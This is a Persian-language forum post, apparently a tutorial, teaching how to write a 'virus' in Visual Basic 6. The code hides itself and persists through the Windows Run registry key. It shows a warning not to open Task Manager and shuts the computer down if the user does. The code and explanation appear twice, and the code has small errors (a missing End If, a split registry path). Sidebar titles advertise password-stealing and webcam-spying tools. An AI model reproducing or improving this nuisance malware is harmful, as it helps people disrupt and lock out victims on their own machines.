Latest topics
تقویم
Top posters
manager (277) | ||||
siima (262) | ||||
Admin (67) | ||||
sahar (44) | ||||
yasii87 (6) | ||||
ghazal_987 (5) | ||||
amirsorkh (2) | ||||
jemjil (1) | ||||
mohmmadmelodi (1) | ||||
sara1365 (1) |
Who is online?
In total there are 80 users online :: 0 Registered, 0 Hidden and 80 Guests None
Most users ever online was 102 on 11/15/2024, 01:51
Statistics
We have 863 registered usersThe newest registered user is SE7EN
Our users have posted a total of 668 messages in 592 subjects
Search
آپلود
جملات پــ نه پــ
ویروس نویسی با ویژوال بیسیک
:: آموزش :: برنامه نويسي
Page 1 of 1
ویروس نویسی با ویژوال بیسیک
وستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)
ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه
وسایل لازم: فقط یه تایمر مثل همیشه!
کدها:
Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1
Me.Hide
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub
و اما توضیحات:
خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه
ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه
وسایل لازم: فقط یه تایمر مثل همیشه!
کدها:
Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1
Me.Hide
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub
و اما توضیحات:
خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه
Similar topics
» آموزش ویروس نویسی
» آموزش ویژوال بیسیک6.0 قسمت دوم
» آموزش ویژوال بیسیک6.0 قسمت اول
» ساخت ویروس filker
» برنامه ی ساخت ویروس
» آموزش ویژوال بیسیک6.0 قسمت دوم
» آموزش ویژوال بیسیک6.0 قسمت اول
» ساخت ویروس filker
» برنامه ی ساخت ویروس
:: آموزش :: برنامه نويسي
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
6/15/2012, 22:26 by sara1365
» دیدن وبکم بدون اجازه افراد در چت روم ها با نرم افزار Camfrog Video Chat
6/14/2012, 14:00 by ramtin_spe
» نرم افزار پيدا كننده سريال خودکار Nod32
6/12/2012, 13:00 by arshia32
» barnameye jasosi
6/1/2012, 08:38 by tohidsultani
» Dark Relic 2010
3/27/2012, 02:25 by mjdakbari@yahoo.com
» هك پسورد تمامي مرورگرها باwebbrowserpassview_1.05
11/10/2011, 15:24 by manager
» Tala Web Email Extractor v1.4.2 Enterprise Edition
11/10/2011, 15:20 by manager
» پخش زنده وضعيت آبوهوا YoWindow
11/10/2011, 15:17 by manager
» EyeProtectorPRO 2.0.42.2 محافظ چشمان شما!!
11/10/2011, 15:14 by manager
» جدیدترین عکسهای سلنا گومز در تورنتو به همراه سگش
10/27/2011, 11:58 by manager
» عکس های شبنم قلی خانی به عنوان مدل
10/13/2011, 13:39 by manager
» عکس/ خودروی علی کریمی و شیث رضایی در تمرین پرسپولیس
10/13/2011, 13:16 by manager
» اظهارنظرهای کارشناسی خانم مجری بازهم سوتی شد+فیلم
10/13/2011, 13:08 by manager
» عکس های جدید سحر قریشی و حدیثه تهرانی
10/13/2011, 12:59 by manager
» عکس های جدید روناک یونسی بازیگر مونا در سریال سقوط آزاد
10/13/2011, 12:56 by manager
» عکس هایی متفاوت از دوران دانشجویی الناز شاکردوست
10/11/2011, 00:46 by manager
» خوش تیپ ترین هنرپیشه های زن هالیوود + تصاویر
10/11/2011, 00:36 by manager
» علی دایی در لباس سربازی (عکس)
10/11/2011, 00:32 by manager
» شنای پرسپولیسیها در خلیج فارس+ تصاویر
10/11/2011, 00:29 by manager
» عکس های دیدنی از مسابقه فوتبال بانوان ایران و امارات
10/11/2011, 00:21 by manager